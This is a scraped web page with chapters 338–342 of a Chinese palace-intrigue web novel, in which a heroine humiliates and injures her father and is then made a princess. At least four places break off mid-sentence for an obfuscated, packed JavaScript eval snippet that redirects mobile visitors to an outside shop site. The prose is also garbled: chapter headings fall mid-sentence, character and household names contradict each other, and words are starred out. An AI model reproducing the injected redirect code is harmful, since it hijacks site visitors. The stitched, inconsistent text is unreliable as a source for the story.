她转过身,看向窗外。 阳光,依旧明媚。 而她的心中,却仿佛有一块阴霾,正在慢慢散去。“逆女,你放肆!” 晏明远猛地一拍桌子,上好的黄花梨木桌面被他拍得“啪”一声巨响,震得茶杯盖子都跳了起来,骨碌碌滚落在地,摔了个粉碎。他再也绷不住那张虚伪的面具,阴沉森冷的视线,像淬了毒的刀子,恨不得将晏清澜凌迟。 他怎么也没料到,这平日里任人揉捏的小畜生,竟敢如此以下犯上,当面顶撞他。 晏清澜却像是没看见他的怒火,身子往太师椅里一陷,懒洋洋地翘起二郎腿。她抱臂而立,下巴微微抬起,姿态嚣张至极,浑然不把他这个父亲放在眼里。 “哟,晏大人这是摆起谱来了?”她红唇轻启,吐出的话语却带着刺,“张口就是狂妄,您以为您是谁啊?” 晏清澜冷笑一声,眼底闪过一丝嘲讽。 “怎么着,难不成还想让本小姐给您下跪磕头?您这谱摆得可真够大的,不知道的还以为您是那金銮殿上的真龙天子呢!” “晏大人,您这生活是越过越上头了!”她故意拉长了语调,话里话外都是讥诮。 这一顶“大不敬”的帽子扣下来,晏明远只觉得眼前阵阵发黑,一口气堵在胸口,险些没喘上来,恨不得立刻晕死过去。 他总算明白了,为什么自己那几个儿女都不待见晏清澜。 第三百三十八章 这小畜生,简直就是个血判官,三言两语就能把人气得七窍生烟,恨不得直接去跟阎王爷作伴! 晏明远只觉得胸口一阵绞痛,他哆嗦着手指着晏清澜,指尖因为愤怒而微微颤抖。“你……你……”了半天,才从牙缝里挤出一句完整的话:“小畜生!你在这瞎扯什么淡!” 晏清澜像是听到了什么好笑的笑话,她“噗嗤”一声笑了出来,随即又像是觉得无趣,百无聊赖地打了个哈欠,顺手理了理鬓边的碎发。 “晏大人,您下次想骂自己,麻烦直说,何必拉着全世界给您当替罪羊。”她慢条斯理地开口,语气中带着一丝戏谑,“大家都是炎炎子孙,两只眼睛一张嘴,我要是畜生,那您又是什么?” 她故作惊讶地“哎呦”一声,像是突然想起了什么,猛地一拍脑袋,夸张地睁大了眼睛。 “瞧我这记性,晏大人您压根就不是人啊。”她笑眯眯地看着晏明远,眼中却毫无笑意,“您就是个脑壳进水的憨憨。” 简单翻译一下就是,你不是人。 晏明远一时之间脑子没转过弯来,但多年的为官经验和敏锐的直觉告诉他,这小畜生嘴里肯定没吐出什么好话,多半是在骂他。 他气得浑身发抖,恨不得立刻冲上去,一巴掌扇烂晏清澜那张伶牙俐齿的嘴。 可理智却死死地拽住了他。他很清楚,别看自己人高马大,在这鬼丫头面前,恐怕连一招都走不过。 晏清澜就是个疯子,平日里看着安安静静,动起手来却比谁都狠。 苏府里,她下手最“轻”的恐怕就是晏景文了,可饶是如此,晏景文也在床上躺了足足半个月,至今走路都还一瘸一拐。更别提燕王和韩承煜,一个被她当众扔下演武台,丢尽了皇家的颜面;一个被她打得至今卧床不起,听说太医都换了好几拨。 晏明远自认还没自大到认为自己比燕王和韩承煜还厉害的地步。他怕自己这一巴掌下去,非但讨不到好,反而会被这疯丫头打得满地找牙。 想到这里,晏明远硬生生将心头的怒火压了下去,换上一副虚假的笑脸。他努力让自己的语气听起来和蔼可亲一些:“阿清,老父亲懂你心中的不爽,可你也不能这么跟爹说话啊。” “昨日的事,是爹不好,没能及时阻止你娘。但爹也是事后才知道的,你就算要怪,也该怪你娘,怎么能怪到爹的头上呢?”他一边说着,一边小心翼翼地观察着晏清澜的神色,生怕她再冒出什么惊世骇俗的话来。 “你想想,爹以前可曾亏待过你?真正对你不好的人,一直都是你娘啊。”晏明远越说越觉得自己有理,甚至开始在心里为自己鸣不平。 是啊,他有什么错?他不过是个被蒙在鼓里的可怜父亲罢了!真正苛待晏清澜的人是钱雅芝,他顶多算是个失察,怎么能把所有的罪过都推到他头上呢? 晏清澜看着他这副自欺欺人的模样,只觉得一阵反胃。她冷笑一声,毫不留情地戳穿了他的伪装:“晏明远,你少在这儿装出一副无辜的样子。” “你以为你是什么好东西?钱雅芝苛待我的时候,你在哪里?我被送到临川自生自灭的时候,你又在哪里?”她眼神凌厉,像是两把锋利的刀子,直直地刺向晏明远。 “别把自己摘得那么干净,你跟钱雅芝,不过是一丘之貉,一个唱红脸,一个唱白脸,谁也别想逃脱干系!” 她停顿了一下,目光扫过屋内陈设,最后落在晏明远身上:“庄家上下,从主子到奴才,有一个算一个,谁手上没沾着人命,谁不是自私自利,冷血无情?” “大哥晏景文,满口仁义道德,实则迂腐不堪,顽固不化,活像茅坑里的石头又臭又硬。” “二哥晏远舟,更是个不折不扣的**子,满肚子男盗女娼,为了往上爬,什么龌龊事都干得出来。” “三哥晏雨珩,看似老好人,实则墙头草,谁得势就帮谁,没有半点担当。” “至于那几个妹妹,更是被你们宠得无法无天。晏玥玥刁蛮任性,整日里耀武扬威,真以为自己是金枝玉叶了。六妹妹晏芸清,看似温顺,实则懦弱,遇到事情只会忍气吞声,最后把自己逼上绝路。三姐姐晏清萦,好歹是你的亲生女儿,可你呢,任由她被钱雅芝磋磨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634499|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过得比下人还不如。” 晏清澜字字珠玑,毫不留情地撕开了庄家光鲜亮丽的表皮,露出了内里腐烂不堪的本质。 “你还敢说你对得起我们?你对得起谁?晏明远,你摸着自己的良心问问,这些年你可曾尽过一天当父亲的责任?” 晏清澜的质问声越来越大,到最后,几乎是声嘶力竭地吼了出来,将这些年来积压在心头的怨气一股脑地发泄了出来。 晏明远被她骂得脸色一阵青一阵白,最后变成了猪肝色。他张了张嘴,想要反驳,却发现自己根本无话可说。 他只能眼睁睁地看着晏清澜,眼神闪躲,不敢与她对视。 “你……你胡说!”他色厉内荏地吼道,声音却虚弱无力,毫无底气。 “是不是胡说,你自己心里清楚!”晏清澜冷笑一声,步步紧逼,“晏明远,你敢不敢承认,你就是个自私自利、冷酷无情的**子!” 她眼中燃烧着熊熊怒火,仿佛要将晏明远彻底焚烧。“你不心虚,为啥躲着我的眼神?” 晏清澜的声音像淬了冰,每个字都裹挟着尖锐的寒意,直直刺向晏明远。她原本连一句废话都不想跟他说,可这人颠倒黑白的本事,实在让人反胃。 “钱雅芝一手遮天,就能抹杀你晏明远的存在吗?这些年,你真当自己**?” 她轻蔑地扫过眼前这个男人。他瑟缩着,闪躲着,全然没了平日里那副道貌岸然的官老爷模样。 晏清澜的视线落在他紧攥成拳,却又微微颤抖的双手,嘴角的嘲讽愈发浓郁。 “我瞧不上钱雅芝,多看她一眼,我都嫌脏。但你,”晏清澜微微停顿,冰冷的眼神仿佛能将人冻结,“你也一样让我恶心。” “钱雅芝可恨,你晏明远又何尝无辜?收起你那副受害者的嘴脸,更别在我面前腆着脸提‘父亲’二字!” “父亲?”晏清澜冷笑,像是听到了什么天大的笑话。她微微抬起下巴,目光如炬,“我晏清澜的父亲,光明磊落,坦荡无私。你晏明远,不过是个自私自利的**子,也配与‘父亲’二字相提并论? 第三百三十九章 ” “你不配!” 她紧盯着晏明远,眼底的怒火几乎要喷薄而出。 “我这辈子,认的父亲只有两个。一个,虽未谋面,却给了我生命。我相信,若非命运弄人,他定会是一位慈爱的父亲。”晏清澜的声音有些许的哽咽,但很快又被她压了下去, “另一个,待我如亲女。无论是谁,都比你这卑鄙小人强上千百倍!” 晏明远被骂得脸色由青转白,又由白转红,手指抖得更厉害了。他向来以“严父”自居,除了那位被他捧在手心里的仲姨娘,苏府上下,谁没挨过他的巴掌?就连他最疼爱的女儿晏玥玥,有时也难逃一顿责罚。 先前,他还顾忌着晏清澜背后的靠山,不敢轻举妄动。可现在,他已经被晏清澜彻底激怒,仅存的理智也荡然无存。 晏明远猛地抬起手,粗粝的手掌带着风声,就要朝晏清澜脸上狠狠扇去。 然而,他的手掌并没有如愿落下。 晏清澜只是轻描淡写地一抬手,就牢牢扣住了他的手腕,五指收紧,仿佛铁钳一般。她微微一笑,手腕看似轻柔地一翻—— “咔嚓——” 骨头断裂的脆响,清晰得令人毛骨悚然。 晏明远惨叫一声,五官扭曲,身体像被抽走了所有力气,如同一滩烂泥般瘫软在地。他蜷缩成一团,死死捂住那只已经彻底失去知觉的手腕,豆大的汗珠从额头滚落,瞬间浸湿了衣衫。 “救……救命……”他声音嘶哑,像是从喉咙深处挤出来的,每一个音节都带着痛苦的颤抖。 偌大的陆家,此刻却安静得诡异,仿佛所有的仆人都消失了一般。任凭晏明远如何声嘶力竭地呼救,也没有一个人出现。 晏清澜缓缓地、一步一步地走向晏明远,居高临下地俯视着他。她的眼神冰冷,没有一丝温度,像是在看一只垂死挣扎的蝼蚁。 “这就是太常寺少卿晏大人?”她缓缓蹲下身,眼中的寒意更甚,仿佛寒冬腊月里最锋利的冰凌,“不过听了几句不中听的话,就这副模样,真是……让人失望。” 她嘴角的笑意愈发嘲讽,带着几分难以言喻的轻蔑,“我真替钱雅芝不值,她怎么会看上你这种货色?也难怪她后来会疯,想来,从一开始,她的眼光就有问题。” 晏清澜伸手,一把拎起晏明远的衣领,像拎起一只待宰的鸡一样轻松,然后,猛地将他扔回地上。 “砰——” 沉闷的撞击声,伴随着晏明远杀猪般的嚎叫,再次回荡在空旷的房间里。 “真是聒噪。”晏清澜微微蹙眉,抬手揉了揉耳朵。 “你今天来这里的目的,无非是为了庄家。”晏清澜的声音冷了下来,带着不容置疑的威严,“但我告诉你,我晏清澜,已经不是庄家人。族谱之上,也早已没了我的名字。” 她顿了顿,目光扫过晏明远那张因为恐惧和疼痛而扭曲的脸,语气愈发冰冷,“所以,收起你们那些龌龊的心思。若再敢来招惹我……” 晏清澜没有再说下去,只是冷冷地看着晏明远。但那眼神,却比任何威胁的话语都更具震慑力。 剧痛让晏明远几乎无法思考,但求生的本能让他死死地盯着晏清澜,眼底除了恨意,还多了一丝恐惧。 晏清澜毫不在意。她微微弯腰,慢条斯理地捏住晏明远那只软绵绵的手,在对方惊恐的注视下,轻轻一拉一送,原本已经断裂的手腕,竟然又被接了回去。 她从怀中掏出一方绣着兰花的锦帕,细细擦拭着自己的手指,仿佛碰过什么脏东西似的。 “带着你的‘好自为之’,滚出陆家。”她站起身,居高临下地看着晏明远,声音冷漠得不带一丝感情。 晏明远一句话也不敢说,连滚带爬地站起来,跌跌撞撞地往外跑。刚跑到门口,像是突然想起了什么,又猛地停下脚步,回过头,色厉内荏地朝晏清澜吼道:“陆家保不了你一辈子!” 话音未落,他便感到一阵寒意袭来,仿佛有一把无形的利剑抵在了他的喉咙上。 “哦?是吗?” 一个低沉而冰冷的声音,突兀地从他身后响起,带着令人不寒而栗的压迫感。 “看来,晏大人对本王的家事,很是关心。” 晏明远僵硬地转过身,就看到童玄珏正站在他身后,脸上似笑非笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639575|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那笑容,让晏明远瞬间如坠冰窟,浑身的血液都仿佛凝固了。他“扑通”一声跪倒在地,头重重地磕在地上,声音颤抖得不成样子:“下官……下官不敢……” 童玄珏缓缓走到他面前,俯视着他的脸庞,语气玩味:“晏大人方才,不是还替本王算了一卦吗?怎么,现在连话都说不清楚了?” 他微微弯腰,凑近晏明远,声音低沉而充满压迫感:“你可知,妄议皇族,是何罪名?” 晏明远浑身颤抖,他怎么也没想到,童玄珏竟然会突然出现,还听到了他刚才说的话。他现在只觉得后悔,恨不得把自己的舌头给咬下来。 “殿下……下官……下官只是一时糊涂……”他语无伦次地辩解着,却又不知道该如何解释。 童玄珏冷笑一声,打断了他的话:“一时糊涂?晏大人,你这‘一时糊涂’,可是差点害了本王的王妃。” 他直起身,眼神冰冷地扫过晏明远,“本王今日,便替她,向你讨个公道。” 晏明远脸色煞白,他知道,童玄珏这是要动真格的了。他心中恐惧到了极点,却又不敢有丝毫反抗。 晏清澜站在一旁,冷眼看着这一切。她知道,童玄珏之所以会这么做,不仅仅是为了她,更是为了维护皇家的威严。 但不管怎么样,她都乐见其成。毕竟,像晏明远这种人,就应该得到应有的惩罚。 她看着晏明远那张因为恐惧而扭曲的脸,心中没有一丝同情。“算了。” 晏清澜轻轻扯了下童玄珏的袖角,语气淡淡的,像是随口一提。 “这里好歹是将军府的地界,真要算账,也犯不着赶在这时候,来日方长嘛。”她微微抬了抬下巴,目光扫过四周,“在这儿罚他,传扬出去,还当我爹娘挟势欺人呢。” 话锋一转,她眨了眨眼,补充道:“要罚他,也得换个地方,换个由头。” 话里话外的暗示,再明白不过了。 童玄珏是谁,这汴京城里出了名的玲珑心肝,哪能听不出这点机锋? 他勾了勾唇角,似笑非笑,眸底却是一片冷意。那视线,如寒冰利刃,直直地刺向晏明远。 第三百四十章 “竟敢对本座无礼,按大昌律例,自当受罚。本王念你年事已高,从轻处置,便罚你在澜王府门前跪上一个时辰,权当警示。晏明远,你可有异议?” 低沉的嗓音,不怒自威。 晏清澜心头一动。 她可没少挨钱雅芝的罚跪,**都寻些莫须有的由头。而晏明远,她名义上的父亲,哪次不是视若无睹?便是偶尔撞见了,也只是冷哼一声,拂袖而去。 现如今,也该让他尝尝这滋味了。 童玄珏,这是在替她撑腰呢。 那些他们曾加诸在她身上的苦楚,他会一笔一笔,替她讨还回来。 童玄珏的眼神看似漫不经心,实则带着千钧之重。 晏明远只觉背上像是压了一座山,压得他喘不过气。他喉结滚动,想说些什么,却又发不出声音。 童玄珏在汴京城中,是出了名的心狠手辣,杀伐果决。 曾有传言,他因政见不合,当朝斩杀了吏部尚书,血溅金銮殿。 晏明远怕了,他不敢忤逆童玄珏。 此刻,童玄珏既已定罪,他便是有天大的冤屈,也只能打碎了牙往肚子里咽。 秋风萧瑟,卷起落叶。 晏明远跪在坚硬冰冷的青石板上,膝盖处传来一阵阵刺痛,像是有无数根针在扎。 他颤巍巍地,朝着童玄珏的方向叩首,声音沙哑得不成样子: “下官……领罚,下官……罪该万死。” 每个字,都像是从牙缝里挤出来的一般,带着**和不甘。 童玄珏冷冷地扫了他一眼,再无半点停留,只漠然吐出一字: “滚。” “滚出将军府,到澜王府门前跪着。” 这般羞辱,晏明远也只能生生受着,还得装出一副感激涕零的模样,连连叩谢。 他低垂着头,缓缓起身,步履蹒跚地往外走。那背影,瑟缩佝偻,在秋风中摇摇欲坠,说不出的滑稽。 晏清澜静静地看着,心中却无半分怜悯,只觉得没趣。 曾几何时,在原著里,这个被奉为神明、顶天立地的父亲,竟也只是个趋炎附势、攀附权贵的小人。 果真是,龙生龙,凤生凤,老鼠的儿子会打洞。 她扯了扯嘴角,露出一抹嘲讽的笑,转头看向童玄珏,随口问道: “哎,童玄珏,你说就晏明远这种货色,即便他日后真能平步青云,又能得意几时?” 童玄珏轻嗤一声,不以为然: “他?晏明远空有野心,却无半分真才实学。这辈子,能坐稳太常寺少卿的位置,已是祖坟冒青烟,再想往上,痴人说梦。” “强行攀高,只会跌得更惨。晏明远如此,那韩承煜,亦是如此。” 童玄珏的语气笃定,似是早已洞悉一切。 “若大昌江山真落入韩承煜之手,怕是离改朝换代也不远了。” 晏清澜赞同地点了点头,刚想说些什么,忽然想起一事,便转头看向童玄珏,疑惑道: “话说,你今儿怎的来得这样早?平日里可没见你这般勤快。” 童玄珏抬手,在她鼻尖上轻轻刮了一下,带着几分亲昵: “怎么,小丫头片子,不想我来?我可是专程来给你报喜的。” 晏清澜揉了揉鼻子,瞪了他一眼。 这家伙,也不知是跟谁学的,动不动就爱刮人鼻子。 她撇了撇嘴,没好气道: “报喜?哪来的好事轮到我?” 童玄珏眉梢一挑,故作高深道: “圣上金口玉言,准备册封你做永康郡主。往后,你的浮萍居,可就是名正言顺的郡主府了。” 晏清澜一怔,险些以为自己听错了: “哈?” 景元帝莫不是吃错药了? 平白无故的,封她个郡主做什么? 直到景元帝身边的内侍太监亲自上门宣旨,晏清澜还觉得有些回不过神来。 她实在猜不透景元帝的心思。 但有一点可以肯定,这事儿,跟童玄珏绝对脱不了干系。 封为郡主,听着风光,可细究起来,也不过如此。 没有实打实的封地,郡主府也只是将原先的宅子换个名头。 不过……转念一想,她现在也算是朝廷命官,有俸禄可拿了。从另一个角度来看,或许可以看作是景元帝对这桩婚事的一点补偿? 毕竟,明眼人都看得出来,她嫁给童玄珏,确实是吃了大亏。 谁让童玄珏顶着个“血判官”的恶名呢。 晏明远被罚跪澜王府门前一事还未平息,晏清澜被册封为郡主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639576|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息便紧随其后,如惊雷般炸响。 这消息传到苏府,晏明远眼前一黑,差点气晕过去。 一时间,汴京城内,流言四起,说什么的都有。 茶楼酒肆,街头巷尾,百姓们议论纷纷,热闹非凡: “听说了吗?晏大人被燕王殿下罚跪的事,啧啧啧,这可真是……稀奇!” “可不是嘛!你说这晏大人,早不冲撞,晚不冲撞,偏偏赶在这个节骨眼上,你说巧不巧?” “依我看,八成是燕王殿下在给新王妃出气呢!”一人压低了声音,神神秘秘地说。 另一人挠了挠头,一脸疑惑:“出气?可我听说,燕王殿下不是跟尹家公子……关系匪浅吗?怎的又和庄家小姐……哦不,永康郡主搅合到一块儿去了?” “嗐,你这消息也太不灵通了!皇上赐婚的事,你竟不知?” “哎呀,先前确实不知,这不是现在知道了嘛。不过,赐婚是赐婚,燕王殿下也不能真就……” “嗨,你管那么多呢!人家现在是郡主,跟庄家可没半点关系!当初庄家为了撇清关系,可是说了不少绝情的话。现在可好,人家非但没事,还成了郡主!真是搬起石头砸自己的脚!” “哎,我就是一时没改过口嘛。这不重要,不重要。”那人讪讪地笑了笑。 “要我说,庄家那些人,当真是瞎了眼!放着好好的璞玉不要,偏偏捧着块石头当宝!” 旁边的人深有同感,纷纷点头附和: “谁说不是呢,放着好好的郡主不疼,偏疼那个病秧子!” 有人想起一事,忍不住插嘴道: “你们还记得前些日子,庄家为了那个六小姐,高价从柳家买玉的事吗?” “记得记得,听说那玉能消灾解厄,灵得很!” “可不是嘛!我听说,那六小姐原本都快不行了,结果戴上那玉,立马就活蹦乱跳了!” “真有这么神?” “那还能有假?那可是开国皇后留下的东西,能不灵吗?”镇西侯府,绣房内。 “嘶啦——” 锦缎被生生撕裂的声音,像极了某种压抑到极致的呜咽。 上好的绣绷歪倒一旁,无人问津。镇西侯府嫡长女尤玉,死死盯着手中的剪子,眼底墨色翻滚,浓云欲摧。 第三百四十一章 “晏玥玥?” 她一字一顿,像是从牙缝中挤出这三个字,尾音上挑,带着毫不掩饰的轻蔑与厌恶。 “她也配?” 冰冷的质问,更像是自言自语。话音未落,她“哐当”一声将剪子摔在桌上,上好的黄花梨木桌面,顿时多了几道划痕。 “姑娘息怒,仔细伤了身子。” 贴身丫鬟芸雨见状,心头一颤,忙上前几步,柔声劝慰。 “为了那块琉璃,老爷不知费了多少心思,托了多少人情……” 芸雨的声音压得很低,却难掩愤懑。 “到头来,竟被庄家那些个见钱眼开的钻营小人捡了漏!” “可不是!狼心狗肺的东西,早晚遭报应!” 尤玉紧咬下唇,贝齿几乎要将那柔嫩的唇肉咬出血来。 琉璃易主之事,已过去月余。可每每想起,那股郁结之气便如梦魇般缠绕着她,让她寝食难安。 旁人得了也就罢了…… 尤玉闭了闭眼,复又睁开,眼底寒芒闪烁。 旁人得了,她或许还能安慰自己,是自己时运不济。 可偏偏是晏玥玥! 一想到那张令人生厌的脸,尤玉只觉得胸口一阵气血翻涌,几欲作呕。 她对晏玥玥的厌恶,早已深入骨髓,恨不能除之而后快。 个中缘由,倒也不难猜。 其一,两人皆倾慕燕王韩承煜,这是无法调和的矛盾。 其二,性情不合。 晏玥玥嫌她病弱,又装模作样,总觉得她身上有晏清澜的影子。 偏偏她与晏清澜年纪相仿,这更让晏玥玥恨不得将她踩进泥里。 而尤玉呢? 她亦看不惯晏玥玥那副娇滴滴的模样。 表面天真烂漫?实则心机深沉,**不见血! 尤玉在心里冷哼,嘴角勾起一抹嘲讽的弧度。 两人之间的争斗,从未停歇,只是…… 尤玉微微垂眸,目光落在自己仍显苍白的手腕上,眸色一黯。 只是从前她身子弱,纵有满腹心机,也无力施展,常常落于下风。 起初只是动辄气急攻心,后来竟连房门都难以迈出,稍稍吹些风,便要卧床数日。 这可让晏玥玥得意了好一阵子,只当自己胜券在握,韩承煜已是囊中之物。 毕竟,一个缠绵病榻的病秧子,如何能与一个明媚娇艳的少女争辉? 更何况…… 尤玉抬手,轻轻抚过自己的脸颊,那里似乎还残留着一丝病态的苍白。 更何况,论容貌,她也确实不及晏玥玥。 “从前她便处处与姑娘作对,如今得了那琉璃,还不知要如何张狂……” 另一名侍女仲华一边飞针走线,一边愤愤不平地开口。 “可不是?狗仗人势的东西,迟早要摔个大跟头!” “哼,她张狂她的,与我何干?” 尤玉冷哼一声,打断了两人的话。 “如今我已大好,她便是再有天大的本事,也休想再让我动气!” 说着,她微微抬起下巴,眼中闪过一丝傲然。 她可不是从前那个任人拿捏的病弱丫头了! “全赖澜衣神医妙手回春,为姑娘悉心调理数月,姑娘的病才得以痊愈。” 芸雨连忙接口,语气中满是感激。 “往后,再也不必受那些窝囊气了!” “是啊,再也不必受气了……” 尤玉喃喃自语,似是说给丫鬟们听,又似是说给自己听。 她缓缓抬手,轻轻抚过如瀑青丝,眼中闪过一丝释然。 “从前我体弱多病,头发枯黄稀疏,如今……” 她略微停顿,似是寻了个更合适的措辞。 “不仅乌黑浓密,还柔顺亮泽。虽不敢说能与那些贵女们争辉,但在寻常人家,也算得上出挑了。” “姑娘说的是!奴婢瞧着,姑娘的肤色也比从前白皙红润多了!” 仲华凑上前来,细细端详着尤玉,由衷地赞叹道。 如今的尤玉,肌肤胜雪,唇色如樱,确是一位难得的美人。 “那还用说?” 尤玉微微扬起下巴,眼角眉梢都带着几分得意。 “若无雅韵坊的瑶芳膏和驻颜丹,我便是再如何调理,也难有这般效果。” 她轻轻拍了拍自己的脸颊,声音中带着一丝炫耀。 那两样东西,可不是寻常人家能用得起的。便是她家,若无雅韵坊的金卡,也难以及时购得。 “姑娘,再过几日便是赏梅宴了……” 芸雨一边替尤玉揉捏着肩膀,一边试探着开口。 “到时入宫,咱们定要……” 她本想说“惊艳四座”,可又觉着这话太过张扬,一时竟不知该如何表达。 尤玉自然明白她的意思,只是…… 她的眼中闪过一丝阴郁。 “旁人的眼光,我并不放在心上。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644120|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她扯了扯嘴角,露出一丝不以为然的笑。 “只是吴王殿下……” 话音未落,尤玉又恨恨地咬了咬唇。 她猛地抓起桌上的剪子,狠狠地在那已经裂开的锦缎上又补了几下。 “他怎么就偏偏看上了晏玥玥呢?” 尤玉的声音中充满了不甘与嫉妒。 “殿下哪儿都好,唯独这眼光……” 她喃喃自语,似是陷入了某种回忆,又似是难以置信。 “当真让人不敢恭维!” “一个徒有其表的花瓶,究竟有何好?” 她越说越激动,手中的剪子几乎要将那锦缎绞成碎片。 “姑娘所言极是!” 芸雨连忙附和,生怕她一时气急,又伤了身子。 “不过姑娘,奴婢听说,殿下前些日子因庄家六小姐受了伤……” 芸雨欲言又止,小心翼翼地观察着尤玉的神色。 “赏梅宴上,咱们是否要……” 她没有将话说完,只是用眼神示意尤玉。 那日在演武场上,晏清澜将韩承煜摔下高台一事,早已传遍了京城的大街小巷。 韩承煜这些时日闭门谢客,便是为了躲避风头。 一来,他伤势未愈,不宜见人。 二来,被人当众摔下高台,实在有损颜面。 堂堂七尺男儿,竟不敌一个女子…… 不过,流言蜚语,来得快去得也快。只要熬过这段时日,谁还会记得这等糗事? 芸雨在心中暗自盘算,等着尤玉的示下。 尤玉没有立即回答,只是垂下眼帘,遮住了眼底翻涌的情绪。 要说她对晏清澜全无芥蒂,那是不可能的。 她又不是木头人,岂会没有半点脾气? 当初听闻此事,她气得险些将屋子都给掀了,恨不得立刻冲到晏清澜面前,与她理论一番。 只是,她终究忍住了。 并非她有多大度,而是…… 她缓缓吐出一口气,脑海中浮现出澜衣神医那张清冷淡漠的脸庞。 那日,她正因韩承煜受伤一事怒不可遏,澜衣神医恰好前来为她诊脉。 见她如此,那人并未多言,只是淡淡地扫了她一眼,说出的话,却如一盆冷水,将她满腔怒火浇了个透心凉: “秦姑娘,医者不自医,我为你调理身体,是希望你能早日康复,而非让你为了一个男人,将自己的身子糟蹋成这般模样。 第三百四十二章 ” “你若执意如此,那这病,不治也罢。” 澜衣神医的语气很淡,听不出喜怒,却带着一种不容置疑的威严。 “一个连自己都保护不了的男人,不值得你如此。” “秦姑娘,你的眼光,还有待提高。” 尤玉的身体微微颤抖,不是因为愤怒,而是因为恐惧。 她怕失去澜衣神医的救治。 换做旁人,若敢这般说她,她定要让对方吃不了兜着走。 可偏偏说这话的,是澜衣神医。 为了治病,家中寻遍名医,皆无功而返。那些苦涩的汤药,不知灌下了多少,却始终不见起色。 唯有这澜衣神医,竟让她看到了痊愈的希望。 尤玉紧紧地攥着手中的帕子,她知道,澜衣神医言出必行。 自打他开始为自己诊治,尤玉便能清晰地感受到,身体一日好过一日。 因此,对于澜衣神医的话,她向来言听计从。 这并非因为她软弱无能,而是因为澜衣神医身上,有一种让人无法抗拒的信服力。 她渴望摆脱这副病躯,也渴望拥有一个健康的身体。 人皆有向往光明之心,这无可厚非。 更何况,澜衣神医不仅医术高超,还…… 尤玉的思绪微微飘远,她想起澜衣神医那双清冷如寒星般的眼眸,心中竟生出一丝莫名的敬畏。镇西侯府。 尤玉缓缓抬起眼睑,长睫微颤,如蝶翼轻展。 “再说。” 她漫不经心地把玩着手中的青瓷茶盏,声音轻得几乎听不见。 “她才得了郡主的封号,正是风头无两的时候,我又何必自讨没趣?” 指尖轻抚过杯沿,感受着那细腻冰凉的触感。 晏清澜……晏玥玥…… 这两个名字,在她舌尖绕了一圈,又被咽了回去。 尤玉眼中飞快地闪过一丝算计。 “呵,”她轻笑一声,声音里带着几分不屑,“敌人的敌人,便是朋友。这道理,我还是懂的。” 利用晏清澜去对付晏玥玥? 这主意,似乎不错。 思及此,尤玉唇角微勾,露出一抹意味深长的笑。 只是那笑意,却带着几分冷意。 “不急,眼下最要紧的,还是先除了晏玥玥这个心腹大患。” 至于晏清澜伤了韩承煜的事…… 她眸色一暗,眼底划过一道狠厉。 以后的日子还长着呢,总有机会,连本带利地讨回来! 她可不是什么心慈手软的人。 更何况,那些站在风口浪尖上的人,多得是人想把他们拉下来。 她又何必去做那个出头的椽子? 尤玉微微眯起眼睛,眸中精光闪烁。 如今天下局势波云诡谲,变幻莫测。 镇西侯府必须如履薄冰,小心行事,万不能让人抓到把柄…… …… 浮萍居。 “啪嗒——” 晏清澜手中的剪刀微微一顿,剪断了灯芯。 火光闪烁了一下,映得她的脸忽明忽暗。 她抬起眼眸,看向跪在下首的桂柔。 对于钱玉明的遭遇,她早已知晓,也猜到了桂柔的作为。 桂柔低垂着头,身子微微紧绷,感受到晏清澜的目光,呼吸都下意识地放轻了。 “属下知错,”她声音微哑,带着几分紧张,“属下不该擅自行动,请主子责罚。” 晏清澜没有立刻开口,只是轻轻转动着手中的剪刀,眼神晦暗不明。 “救下晏清萦,你做得很好。” 良久,她才缓缓开口,声音平静无波。 “如果是我,换我也是这个选择。” 钱玉明那种人,死一万次都不足惜。 让他**,都算是便宜他了。 她看着桂柔,话锋一转。 “但错就错在,你不该让她知道是你做的。” “桂柔,你可知道,你这样做,会给我带来多大的麻烦?” 晏清澜语气平淡,却带着一种不容置疑的威严。 桂柔的身手,完全可以做到**于无形。 可她却偏偏留下了痕迹。 桂柔显然没想到晏清澜会这样说,她愣了一下,才反应过来。 “属下知错。” 她的声音更低了。 晏清澜看着她,轻轻叹了口气。 